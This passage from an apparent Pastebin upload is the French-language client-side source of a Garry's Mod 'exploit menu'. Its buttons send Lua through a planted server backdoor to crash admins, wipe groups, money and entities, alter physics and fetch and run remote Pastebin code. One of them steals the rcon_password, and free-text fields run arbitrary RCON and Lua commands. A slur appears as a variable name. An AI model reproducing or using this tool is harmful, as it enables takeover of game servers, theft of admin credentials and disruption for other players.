  7463. surface.SetDrawColor(100, 100, 100 ,255)
  7464. surface.DrawOutlinedRect(0, 0, w, h)
  7465. surface.SetDrawColor(50, 0, 0 ,155)
  7466. surface.DrawRect(0, 0, w, h)
  7467. end
  7468. commandnethtx5.DoClick = function()
  7469. iZNX.NetStart(thefrenchenculer)
  7470. net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
  7471. net.WriteBit(1)
  7472. net.SendToServer()
  7473. end
  7474. local commandnethtx6 = vgui.Create("DButton", DScrollPanel )
  7475. commandnethtx6:SetSize( 208, 20 )
  7476. commandnethtx6:SetPos( 2, 50 )
  7477. commandnethtx6:SetText("Redémarrer le serveur")
  7478. commandnethtx6:SetTextColor(Color(255, 255, 255, 255))
  7479. commandnethtx6.Paint = function(panel, w, h)
  7480. surface.SetDrawColor(100, 100, 100 ,255)
  7481. surface.DrawOutlinedRect(0, 0, w, h)
  7482. surface.SetDrawColor(50, 0, 0 ,155)
  7483. surface.DrawRect(0, 0, w, h)
  7484. end
  7485. commandnethtx6.DoClick = function()
  7486. iZNX.NetStart(thefrenchenculer)
  7487. net.WriteString("RunConsoleCommand(\"changelevel \"..game.GetMap())")
  7488. net.WriteBit(1)
  7489. net.SendToServer()
  7490. end
  7491. local commandnethtx7 = vgui.Create("DButton", DScrollPanel)
  7492. commandnethtx7:SetSize( 208, 20 )
  7493. commandnethtx7:SetPos( 2, 200 )
  7494. commandnethtx7:SetText("Hurlement sur tous les joueurs")
  7495. commandnethtx7:SetTextColor(Color(255, 255, 255, 255))
  7496. commandnethtx7.Paint = function(panel, w, h)
  7497. surface.SetDrawColor(100, 100, 100 ,255)
  7498. surface.DrawOutlinedRect(0, 0, w, h)
  7499. surface.SetDrawColor(50, 0, 0 ,155)
  7500. surface.DrawRect(0, 0, w, h)
  7501. end
  7502. commandnethtx7.DoClick = function()
  7503. iZNX.NetStart(thefrenchenculer)
  7504. net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
  7505. net.WriteBit(1)
  7506. net.SendToServer()
  7507. end
  7508. local commandnethtx8 = vgui.Create("DButton", DScrollPanel)
  7509. commandnethtx8:SetSize( 208, 20 )
  7510. commandnethtx8:SetPos( 2, 225 )
  7511. commandnethtx8:SetText("Changer le model des joueurs")
  7512. commandnethtx8:SetTextColor(Color(255, 255, 255, 255))
  7513. commandnethtx8.Paint = function(panel, w, h)
  7514. surface.SetDrawColor(100, 100, 100 ,255)
  7515. surface.DrawOutlinedRect(0, 0, w, h)
  7516. surface.SetDrawColor(50, 0, 0 ,155)
  7517. surface.DrawRect(0, 0, w, h)
  7518. end
  7519. commandnethtx8.DoClick = function()
  7520. iZNX.NetStart(thefrenchenculer)
  7521. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
  7522. net.WriteBit(1)
  7523. net.SendToServer()
  7524. end
  7525. local commandnethtx9 = vgui.Create("DButton", DScrollPanel)
  7526. commandnethtx9:SetSize( 208, 20 )
  7527. commandnethtx9:SetPos( 2, 250 )
  7528. commandnethtx9:SetText("Niquer la physics du jeu")
  7529. commandnethtx9:SetTextColor(Color(255, 255, 255, 255))
  7530. commandnethtx9.Paint = function(panel, w, h)
  7531. surface.SetDrawColor(100, 100, 100 ,255)
  7532. surface.DrawOutlinedRect(0, 0, w, h)
  7533. surface.SetDrawColor(50, 0, 0 ,155)
  7534. surface.DrawRect(0, 0, w, h)
  7535. end
  7536. commandnethtx9.DoClick = function()
  7537. net.Start(thefrenchenculer)
  7538. net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" )
  7539. net.WriteBit(1)
  7540. net.SendToServer()
  7541. end
  7542. local commandnethtx10 = vgui.Create("DButton", DScrollPanel)
  7543. commandnethtx10:SetSize( 208, 20 )
  7544. commandnethtx10:SetPos( 2, 275 )
  7545. commandnethtx10:SetText("Inverser la gravité")
  7546. commandnethtx10:SetTextColor(Color(255, 255, 255, 255))
  7547. commandnethtx10.Paint = function(panel, w, h)
  7548. surface.SetDrawColor(100, 100, 100 ,255)
  7549. surface.DrawOutlinedRect(0, 0, w, h)
  7550. surface.SetDrawColor(50, 0, 0 ,155)
  7551. surface.DrawRect(0, 0, w, h)
  7552. end
  7553. commandnethtx10.DoClick = function()
  7554. net.Start(thefrenchenculer)
  7555. net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"-600\")" )
  7556. net.WriteBit(1)
  7557. net.SendToServer()
  7558. end
  7559. local commandnethtx11 = vgui.Create("DButton", DScrollPanel)
  7560. commandnethtx11:SetSize( 208, 20 )
  7561. commandnethtx11:SetPos( 2, 300 )
  7562. commandnethtx11:SetText("Reset tout l'argent du serveur")
  7563. commandnethtx11:SetTextColor(Color(255, 255, 255, 255))
  7564. commandnethtx11.Paint = function(panel, w, h)
  7565. surface.SetDrawColor(100, 100, 100 ,255)
  7566. surface.DrawOutlinedRect(0, 0, w, h)
  7567. surface.SetDrawColor(50, 0, 0 ,155)
  7568. surface.DrawRect(0, 0, w, h)
  7569. end
  7570. commandnethtx11.DoClick = function()
  7571. net.Start(thefrenchenculer)
  7572. net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
  7573. net.WriteBit(1)
  7574. net.SendToServer()
  7575. end
  7576. local commandnethtx12 = vgui.Create("DButton", DScrollPanel)
  7577. commandnethtx12:SetSize( 208, 20 )
  7578. commandnethtx12:SetPos( 2, 325 )
  7579. commandnethtx12:SetText("Faire voler tous les joueurs")
  7580. commandnethtx12:SetTextColor(Color(255, 255, 255, 255))
  7581. commandnethtx12.Paint = function(panel, w, h)
  7582. surface.SetDrawColor(100, 100, 100 ,255)
  7583. surface.DrawOutlinedRect(0, 0, w, h)
  7584. surface.SetDrawColor(50, 0, 0 ,155)
  7585. surface.DrawRect(0, 0, w, h)
  7586. end
  7587. commandnethtx12.DoClick = function()
  7588. net.Start(thefrenchenculer)
  7589. net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
  7590. net.WriteBit(1)
  7591. net.SendToServer()
  7592. end
  7593. local commandnethtx13 = vgui.Create("DButton", DScrollPanel)
  7594. commandnethtx13:SetSize( 208, 20 )
  7595. commandnethtx13:SetPos( 2, 350 )
  7596. commandnethtx13:SetText("Crash tous les admins/vip")
  7597. commandnethtx13:SetTextColor(Color(255, 255, 255, 255))
  7598. commandnethtx13.Paint = function(panel, w, h)
  7599. surface.SetDrawColor(100, 100, 100 ,255)
  7600. surface.DrawOutlinedRect(0, 0, w, h)
  7601. surface.SetDrawColor(50, 0, 0 ,155)
  7602. surface.DrawRect(0, 0, w, h)
  7603. end
  7604. commandnethtx13.DoClick = function()
  7605. net.Start(thefrenchenculer)
  7606. net.WriteString( " for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" )
  7607. net.WriteBit(1)
  7608. net.SendToServer()
  7609. end
  7610. local commandnethtx14 = vgui.Create("DButton", DScrollPanel)
  7611. commandnethtx14:SetSize( 208, 20 )
  7612. commandnethtx14:SetPos( 2, 75 )
  7613. commandnethtx14:SetText("Super-Spam Visuel/Sonore 1")
  7614. commandnethtx14:SetTextColor(Color(255, 255, 255, 255))
  7615. commandnethtx14.Paint = function(panel, w, h)
  7616. surface.SetDrawColor(100, 100, 100 ,255)
  7617. surface.DrawOutlinedRect(0, 0, w, h)
  7618. surface.SetDrawColor(50, 0, 0 ,155)
  7619. surface.DrawRect(0, 0, w, h)
  7620. end
  7621. commandnethtx14.DoClick = function()
  7622. net.Start(thefrenchenculer)
  7623. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/A6YKkwBe\",function(b,l,h,c)RunString(b)end,nil)" )
  7624. net.WriteBit(1)
  7625. net.SendToServer()
  7626. end
  7627. local commandnethtx15 = vgui.Create("DButton", DScrollPanel)
  7628. commandnethtx15:SetSize( 208, 20 )
  7629. commandnethtx15:SetPos( 2, 400 )
  7630. commandnethtx15:SetText("10€ toutes les 0.1sec tous les joueurs")
  7631. commandnethtx15:SetTextColor(Color(255, 255, 255, 255))
  7632. commandnethtx15.Paint = function(panel, w, h)
  7633. surface.SetDrawColor(100, 100, 100 ,255)
  7634. surface.DrawOutlinedRect(0, 0, w, h)
  7635. surface.SetDrawColor(50, 0, 0 ,155)
  7636. surface.DrawRect(0, 0, w, h)
  7637. end
  7638. commandnethtx15.DoClick = function()
  7639. net.Start(thefrenchenculer)
  7640. net.WriteString( "for k,v in pairs(player.GetAll()) do timer.Create( \"timerargent10\", 0.1, 0, function() v:addMoney(10) end) end" )
  7641. net.WriteBit(1)
  7642. net.SendToServer()
  7643. end
  7644. local commandnethtx16 = vgui.Create("DButton", DScrollPanel)
  7645. commandnethtx16:SetSize( 208, 20 )
  7646. commandnethtx16:SetPos( 2, 425 )
  7647. commandnethtx16:SetText("Voler le rcon_password")
  7648. commandnethtx16:SetTextColor(Color(255, 255, 255, 255))
  7649. commandnethtx16.Paint = function(panel, w, h)
  7650. surface.SetDrawColor(100, 100, 100 ,255)
  7651. surface.DrawOutlinedRect(0, 0, w, h)
  7652. surface.SetDrawColor(50, 0, 0 ,155)
  7653. surface.DrawRect(0, 0, w, h)
  7654. end
  7655. commandnethtx16.DoClick = function()
  7656. net.Start(thefrenchenculer)
  7657. net.WriteString( "http.Fetch(\"https://pastebin.com/raw/3SuejJDj\",function(b,l,h,c)RunString(b)end,nil)" )
  7658. net.WriteBit(1)
  7659. net.SendToServer()
  7660. timer.Simple( 0.5, function()
  7661. if iZNX.ValidNetString( "jeveuttonrconleul" ) then
  7662. net.Start("jeveuttonrconleul")
  7663. net.SendToServer()
  7664. else
  7665. chat.AddText( Color(255, 0, 0),"rcon_password pas trouvé, veuillez réessayer ^^" )
  7666. end
  7667. end)
  7668. end
  7669. local commandnethtx17 = vgui.Create("DButton", DScrollPanel)
  7670. commandnethtx17:SetSize( 208, 20 )
  7671. commandnethtx17:SetPos( 2, 450 )
  7672. commandnethtx17:SetText("☢ Supprimer Toutes les Entité ☢")
  7673. commandnethtx17:SetTextColor(Color(255, 255, 255, 255))
  7674. commandnethtx17.Paint = function(panel, w, h)
  7675. surface.SetDrawColor(100, 100, 100 ,255)
  7676. surface.DrawOutlinedRect(0, 0, w, h)
  7677. surface.SetDrawColor(50, 0, 0 ,155)
  7678. surface.DrawRect(0, 0, w, h)
  7679. end
  7680. commandnethtx17.DoClick = function()
  7681. net.Start(thefrenchenculer)
  7682. net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" )
  7683. net.WriteBit(1)
  7684. net.SendToServer()
  7685. end
  7686. local RconCommand = vgui.Create( "DTextEntry", DScrollPanel )
  7687. RconCommand:SetPos( 110, 0 )
  7688. RconCommand:SetSize( 100, 20 )
  7689. RconCommand:SetText( "hostname Serveur Hacké Par Sakura!" )
  7690. local Lancer_rcon_commande = vgui.Create("DButton", DScrollPanel )
  7691. Lancer_rcon_commande:SetSize( 103, 20 )
  7692. Lancer_rcon_commande:SetPos( 2, 0 )
  7693. Lancer_rcon_commande:SetText("RCON Command")
  7694. Lancer_rcon_commande:SetTextColor(Color(255, 255, 255, 255))
  7695. Lancer_rcon_commande.Paint = function(panel, w, h)
  7696. surface.SetDrawColor(100, 100, 100 ,255)
  7697. surface.DrawOutlinedRect(0, 0, w, h)
  7698. surface.SetDrawColor(50, 0, 0 ,155)
  7699. surface.DrawRect(0, 0, w, h)
  7700. end
  7701. Lancer_rcon_commande.DoClick = function()
  7702. local rcon_commandes_get = RconCommand:GetValue()
  7703. iZNX.NetStart(thefrenchenculer)
  7704. net.WriteString( rcon_commandes_get )
  7705. net.WriteBit(false)
  7706. net.SendToServer()
  7707. end
  7708. local GLUACommand = vgui.Create( "DTextEntry", DScrollPanel )
  7709. GLUACommand:SetPos( 110, 25 )
  7710. GLUACommand:SetSize( 100, 20 )
  7711. GLUACommand:SetText( "timer.Create(\"Timerdecrash\",0.5,1,function() while true do end end)" )
  7712. local Lancer_glua_commande = vgui.Create("DButton", DScrollPanel )
  7713. Lancer_glua_commande:SetSize( 103, 20 )
  7714. Lancer_glua_commande:SetPos( 2, 25 )
  7715. Lancer_glua_commande:SetText("Code LUA")
  7716. Lancer_glua_commande:SetTextColor(Color(255, 255, 255, 255))
  7717. Lancer_glua_commande.Paint = function(panel, w, h)
  7718. surface.SetDrawColor(100, 100, 100 ,255)
  7719. surface.DrawOutlinedRect(0, 0, w, h)
  7720. surface.SetDrawColor(50, 0, 0 ,155)
  7721. surface.DrawRect(0, 0, w, h)
  7722. end
  7723. Lancer_glua_commande.DoClick = function()
  7724. local glua_commandes_get = GLUACommand:GetValue()
  7725. iZNX.NetStart(thefrenchenculer)
  7726. net.WriteString( glua_commandes_get )
  7727. net.WriteBit(1)
  7728. net.SendToServer()
  7729. end
  7730. end
  7731. net.Receive( "rcon_passw_dump", function()
  7732. local rcon_pass = net.ReadString()
  7733. chat.AddText( Color(255, 255, 255), rcon_pass, Color(0, 255, 0)," GG avec ça tu peux baiser le serveur même si il enleve la backdoor :D")
  7734. end )
  7735. net.Receive( "aucun_rcon_ici", function()
  7736. chat.AddText( Color(255, 0, 0),"Aucun rcon_password sur le serveur :/" )
  7737. end )
  7738. function iZNX.MakePlayerSelectionButton( parent, x, y, addr )
  7739. if !parent:IsValid() then return end
  7740. local TButton = vgui.Create( "DButton" )
  7741. TButton:SetParent( parent )
  7742. TButton:SetPos( x, y )
  7743. TButton:SetText( "Choisir des cibles" )
  7744. TButton:SetTextColor( Color(255, 255, 255, 255) )
  7745. TButton:SizeToContents()
  7746. TButton:SetTall( 24 )
  7747. TButton.Paint = function( self, w, h )
  7748. surface.SetDrawColor( Color(60, 60, 90, 200) )
  7749. surface.DrawRect( 0, 0, w, h )
  7750. surface.SetDrawColor( Color( 60, 60, 60 ) )
  7751. surface.SetMaterial( downgrad )
  7752. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  7753. surface.SetDrawColor( Color(100, 100, 100, 255) )
  7754. surface.DrawOutlinedRect( 0, 0, w, h )
  7755. surface.SetDrawColor( Color(70, 70, 100, 255) )
  7756. surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
  7757. end
  7758. TButton.DoClick = function()
  7759. iZNX.SelectPlayersPanel( addr )
  7760. end
  7761. return TButton:GetWide(), TButton:GetTall()
  7762. end
  7763. function iZNX.SelectPlayersPanel( addr )
  7764. if iZNX.PlayerSelector and iZNX.PlayerSelector:IsVisible() then iZNX.PlayerSelector:Remove() end
  7765. local plytab = iZNX.GetStored( addr, {} )
  7766. iZNX.PlayerSelector = vgui.Create("DFrame")
  7767. iZNX.PlayerSelector:SetSize(250,400)
  7768. iZNX.PlayerSelector:SetTitle("Joueur(s) à cibler")
  7769. iZNX.PlayerSelector:SetPos( gui.MouseX(), gui.MouseY() )
  7770. iZNX.PlayerSelector:MakePopup()
  7771. iZNX.PlayerSelector.Paint = function( s, w, h )
  7772. if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end
  7773. surface.SetDrawColor( Color(30, 30, 30, 245) )
  7774. surface.DrawRect( 0, 0, w, h )
  7775. surface.SetDrawColor( Color(55, 55, 55, 245) )
  7776. surface.DrawOutlinedRect( 0, 0, w, h )
  7777. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  7778. end
  7779. local Plist = vgui.Create( "DPanelList", iZNX.PlayerSelector )
  7780. Plist:SetSize( iZNX.PlayerSelector:GetWide() - 10, iZNX.PlayerSelector:GetTall() - 55 )
  7781. Plist:SetPadding( 5 )
  7782. Plist:SetSpacing( 5 )
  7783. Plist:EnableHorizontal( false )
  7784. Plist:EnableVerticalScrollbar( true )
  7785. Plist:SetPos( 5, 40 )
  7786. Plist:SetName( "" )
  7787. local target1 = vgui.Create("DButton", iZNX.PlayerSelector)
  7788. target1:SetSize( 40, 20 )
  7789. target1:SetPos( 10, 23 )
  7790. target1:SetText("Tous")
  7791. target1:SetTextColor(Color(255, 255, 255, 255))
  7792. target1.Paint = function(panel, w, h)
  7793. surface.SetDrawColor(100, 100, 100 ,255)
  7794. surface.DrawOutlinedRect(0, 0, w, h)
  7795. surface.SetDrawColor(0, 0, 50 ,155)
  7796. surface.DrawRect(0, 0, w, h)
  7797. end
  7798. target1.DoClick = function()
  7799. for _, p in pairs(player.GetAll()) do
  7800. if not table.HasValue( plytab, p ) then
  7801. table.insert( plytab, p )
  7802. end
  7803. end
  7804. iZNX.Store( addr, plytab )
  7805. end
  7806. local target2 = vgui.Create("DButton", iZNX.PlayerSelector)
  7807. target2:SetSize( 40, 20 )
  7808. target2:SetPos( 55, 23 )
  7809. target2:SetText("Aucun")
  7810. target2:SetTextColor(Color(255, 255, 255, 255))
  7811. target2.Paint = function(panel, w, h)
  7812. surface.SetDrawColor(100, 100, 100 ,255)
  7813. surface.DrawOutlinedRect(0, 0, w, h)
  7814. surface.SetDrawColor(0, 0, 50 ,155)
  7815. surface.DrawRect(0, 0, w, h)
  7816. end
  7817. target2.DoClick = function()
  7818. table.Empty( plytab )
  7819. iZNX.Store( addr, plytab )
  7820. end
  7821. local target3 = vgui.Create("DButton", iZNX.PlayerSelector )
  7822. target3:SetSize( 40, 20 )
  7823. target3:SetPos( 100, 23 )
  7824. target3:SetText("Moi")
  7825. target3:SetTextColor(Color(255, 255, 255, 255))
  7826. target3.Paint = function(panel, w, h)
  7827. surface.SetDrawColor(100, 100, 100 ,255)
  7828. surface.DrawOutlinedRect(0, 0, w, h)
  7829. surface.SetDrawColor(0, 0, 50 ,155)
  7830. surface.DrawRect(0, 0, w, h)
  7831. end
  7832. target3.DoClick = function()
  7833. table.Empty( plytab )
  7834. table.insert( plytab, LocalPlayer() )
  7835. iZNX.Store( addr, plytab )
  7836. end
  7837. local target4 = vgui.Create( "DTextEntry", iZNX.PlayerSelector )
  7838. target4:SetPos( 145, 23 )
  7839. target4:SetSize( 95, 20 )
  7840. target4:SetText( "" )
  7841. target4.OnChange = function( self )
  7842. local nam = self:GetValue()
  7843. local namtab = string.Explode( ", ", nam )
  7844. table.Empty( plytab )
  7845. for _, pl in pairs( player.GetAll() ) do
  7846. for _, s in pairs( namtab ) do
  7847. if string.find( string.lower( pl:Nick() ), s ) then
  7848. table.insert( plytab, pl )
  7849. end
  7850. end
  7851. end
  7852. iZNX.Store( addr, plytab )
  7853. end
  7854. for k, v in pairs( player.GetAll() ) do
  7855. local plypanel2 = vgui.Create( "DPanel" )
  7856. plypanel2:SetPos( 0, 0 )
  7857. plypanel2:SetSize( 200, 25 )
  7858. local teamcol = team.GetColor( v:Team() )
  7859. plypanel2.Paint = function( s, w, h )
  7860. if !v:IsValid() then return end
  7861. surface.SetDrawColor( Color(30, 30, 30, 245) )
  7862. surface.DrawRect( 0, 0, w, h )
  7863. surface.SetDrawColor( teamcol )
  7864. surface.DrawRect( 0, h - 3, w, 3 )
  7865. surface.SetDrawColor( Color(55, 55, 55, 245) )
  7866. surface.DrawOutlinedRect( 0, 0, w, h )
  7867. if table.HasValue( plytab, v ) then surface.SetDrawColor( Color(55, 255, 55, 245) ) end
  7868. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  7869. end
  7870. local plyname = vgui.Create( "DLabel", plypanel2 )
  7871. plyname:SetPos( 10, 5 )
  7872. plyname:SetFont( "Trebuchet18" )
  7873. local tcol = Color( 255, 255, 255 )
  7874. if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end
  7875. plyname:SetColor( tcol )
  7876. plyname:SetText( v:Nick() )
  7877. plyname:SetSize(180, 15)
  7878. local faggot = vgui.Create("DButton", plypanel2 )
  7879. faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
  7880. faggot:SetPos( 0, 0 )
  7881. faggot:SetText("")
  7882. faggot.Paint = function(panel, w, h)
  7883. return
  7884. end
  7885. faggot.DoClick = function()
  7886. if table.HasValue( plytab, v ) then
  7887. table.RemoveByValue( plytab, v )
  7888. else
  7889. table.insert( plytab, v )
  7890. end
  7891. iZNX.Store( addr, plytab )
  7892. end
  7893. Plist:AddItem( plypanel2 )
  7894. end
  7895. end
  7896. function iZNX.MakeTextInputButton( parent, x, y, btext, default, addr)
  7897. if !parent:IsValid() then return end
  7898. local hostframe = vgui.Create( "DPanel", parent )
  7899. hostframe:SetPos( x, y )
  7900. hostframe.Paint = function( self, w, h )
  7901. surface.SetDrawColor( Color(60, 60, 60, 200) )
  7902. surface.DrawRect( 0, 0, w, h )
  7903. surface.SetDrawColor( Color( 60, 60, 60 ) )
  7904. surface.SetMaterial( downgrad )
  7905. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  7906. surface.SetDrawColor( Color(100, 100, 100, 255) )
  7907. surface.DrawOutlinedRect( 0, 0, w, h )
  7908. end
  7909. local tttt = vgui.Create( "DLabel", hostframe )
  7910. tttt:SetPos( 5, 5 )
  7911. tttt:SetText( btext )
  7912. tttt:SizeToContents()
  7913. local tentry = vgui.Create( "DTextEntry", hostframe )
  7914. tentry:SetPos( 10 + tttt:GetWide(), 2 )
  7915. tentry:SetSize( 130, 20 )
  7916. tentry:SetText( iZNX.GetStored( addr, default ) )
  7917. tentry.OnChange = function( self )
  7918. iZNX.Store( addr, self:GetValue() )
  7919. end
  7920. hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
  7921. return hostframe:GetWide(), hostframe:GetTall()
  7922. end
  7923. function iZNX.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
  7924. if !parent:IsValid() then return end
  7925. local hostframe = vgui.Create( "DPanel", parent )
  7926. hostframe:SetPos( x, y )
  7927. hostframe.Paint = function( self, w, h )
  7928. surface.SetDrawColor( Color(60, 60, 60, 200) )
  7929. surface.DrawRect( 0, 0, w, h )
  7930. surface.SetDrawColor( Color( 60, 60, 60 ) )
  7931. surface.SetMaterial( downgrad )
  7932. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  7933. surface.SetDrawColor( Color(100, 100, 100, 255) )
  7934. surface.DrawOutlinedRect( 0, 0, w, h )
  7935. end
  7936. local tttt = vgui.Create( "DLabel", hostframe )
  7937. tttt:SetPos( 5, 5 )
  7938. tttt:SetText( btext )
  7939. tttt:SizeToContents()
  7940. local wangmeoff = vgui.Create( "DNumberWang", hostframe )
  7941. wangmeoff:SetPos( 10 + tttt:GetWide(), 2 )
  7942. wangmeoff:SetSize( 75, 20 )
  7943. wangmeoff:SetDecimals( 2 )
  7944. wangmeoff:SetMinMax( min , max )
  7945. wangmeoff:SetValue( iZNX.GetStored( addr, default ) )
  7946. wangmeoff:SetAllowNonAsciiCharacters(false)
  7947. wangmeoff.OnValueChanged = function( self, val )
  7948. iZNX.Store( addr, self:GetValue() )
  7949. end
  7950. hostframe:SetSize( 13 + tttt:GetWide() + wangmeoff:GetWide(), 24 )
  7951. return hostframe:GetWide(), hostframe:GetTall()
  7952. end
  7953. concommand.Add( "exploit_menu", function()
  7954. iZNX.Menu = vgui.Create("DFrame")
  7955. iZNX.Menu:SetSize(700,550)
  7956. iZNX.Menu:SetTitle("")
  7957. iZNX.Menu:Center()
  7958. iZNX.Menu:MakePopup()
  7959. iZNX.Menu.gay = table.Count( iZNX.sploits )
  7960. iZNX.Menu.Paint = function( s, w, h )
  7961. surface.SetDrawColor( Color(30, 30, 30, 245) )
  7962. surface.DrawRect( 0, 0, w, h )
  7963. surface.SetDrawColor( Color(55, 55, 55, 245) )
  7964. surface.DrawOutlinedRect( 0, 0, w, h )
  7965. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  7966. surface.SetDrawColor( Color(0, 0, 0, 200) )
  7967. surface.DrawRect( 80, 25, w - 90, h - 35 )
  7968. surface.SetDrawColor( Color(100, 100, 100, 200) )
  7969. surface.DrawLine( 10, 25, 40, 30 )
  7970. surface.DrawLine( 40, 30, 70, 25 )
  7971. surface.DrawLine( 10, 25, 25, 40 )
  7972. surface.DrawLine( 55, 40, 70, 25 )
  7973. surface.DrawLine( 25, 40, 25, 60 )
  7974. surface.DrawLine( 55, 40, 55, 60 )
  7975. surface.DrawLine( 25, 60, 40, 70 )
  7976. surface.DrawLine( 55, 60, 40, 70 )
  7977. draw.DrawText( "Exploit Menu\nExploit(s): "..iZNX.Menu.gay, "default", 8, 85, Color(255,255,255, 30) )
  7978. end
  7979. local Plist = vgui.Create( "DPanelList", iZNX.Menu )
  7980. Plist:SetSize( iZNX.Menu:GetWide() - 90, iZNX.Menu:GetTall() - 35 )
  7981. Plist:SetPadding( 5 )
  7982. Plist:SetSpacing( 5 )
  7983. Plist:EnableHorizontal( false )
  7984. Plist:EnableVerticalScrollbar( true )
  7985. Plist:SetPos( 80, 25 )
  7986. Plist:SetName( "" )
  7987. iZNX.MakeFunctionButton( iZNX.Menu, 10, 130, "Load Config", iZNX.LoadConfig, "Charger une Config" )
  7988. iZNX.MakeFunctionButton( iZNX.Menu, 10, 160, "Save Config", iZNX.SaveConfig, "Sauvegarder la Config" )
  7989. local function CreateSploitPanel( name, t )
  7990. if !iZNX.Menu then return end
  7991. local cmdp = vgui.Create( "DPanel" )
  7992. cmdp:SetSize( Plist:GetWide(), 70 )
  7993. cmdp.Cmd = name
  7994. cmdp.Desc = t.desc
  7995. cmdp.Paint = function( s, w, h )
  7996. surface.SetDrawColor( Color(50, 50, 50, 245) )
  7997. surface.DrawRect( 0, 0, w, h )
  7998. surface.SetDrawColor( severitycols[t.severity] )
  7999. surface.DrawOutlinedRect( 0, 0, w, h )
  8000. surface.DrawLine( 0, 24, w, 24 )
  8001. draw.DrawText( cmdp.Cmd, "DermaDefault", 10, 5, Color(255,255,255) )
  8002. draw.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
  8003. end
  8004. local x = 10
  8005. for _, tab in ipairs( t.functions ) do
  8006. if tab.typ == "func" then
  8007. x = (x + 5) + iZNX.MakeFunctionButton( cmdp, x, 42, tab.name, tab.func )
  8008. elseif tab.typ == "players" then
  8009. x = (x + 5) + iZNX.MakePlayerSelectionButton( cmdp, x, 42, tab.addr )
  8010. elseif tab.typ == "htxcommandeliste" then
  8011. x = (x + 5) + iZNX.HTXBackdoor( cmdp, x, 42, tab.name )
  8012. elseif tab.typ == "string" then
  8013. x = (x + 5) + iZNX.MakeTextInputButton( cmdp, x, 42, tab.name, tab.default, tab.addr )
  8014. if !iZNX.IsStored( tab.addr ) then iZNX.Store( tab.addr, tab.default ) end
  8015. elseif tab.typ == "float" then
  8016. x = (x + 5) + iZNX.MakeNumberInputButton( cmdp, x, 42, tab.name, tab.default, tab.min, tab.max, tab.addr )
  8017. if !iZNX.IsStored( tab.addr ) then iZNX.Store( tab.addr, tab.default ) end
  8018. end
  8019. end
  8020. Plist:AddItem( cmdp )
  8021. end
  8022. for k, v in pairs( iZNX.sploits ) do
  8023. if v.scan() then CreateSploitPanel( k, v ) end
  8024. end
  8025. end)
Add Comment
Please, Sign In to add comment